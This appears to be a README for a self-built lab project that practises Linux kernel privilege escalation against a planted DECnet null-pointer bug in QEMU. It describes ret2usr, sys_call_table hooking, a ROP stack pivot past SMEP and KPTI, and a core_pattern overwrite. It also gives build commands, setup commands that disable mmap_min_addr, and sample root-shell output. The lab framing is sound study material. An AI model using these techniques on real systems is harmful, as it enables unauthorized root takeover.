Awesome

DECPwn

Practicing different Linux kernel exploitation techniques with my DECnet vulnerability and null page mapping enabled.

Scenarios

• Everything disabled: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"

  Code execution is redirected to the output function in userland, which invokes commit_creds(prepare_kernel_cred(0)).

• Syscall Hooking

  Swap the mkdir system call handler address inside the sys_call_table with a function resembling the one in Scenario 1.

• SMEP and KPTI enabled: qemu-system-x86_64 -append "nosmap nokaslr"

  Code execution is redirected to a stack pivot that sets $rsp to a ROP chain in the null page.

• Usermode Helper

  The core_pattern sysctl is overwritten to specify a command to run with elevated privileges when dumping core.

  The program is then interrupted with the SIGABRT signal to trigger the usermode script.

Build

apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie

Run

Configure DECnet as root:

sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address

Run the exploit as unprivileged user:

$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
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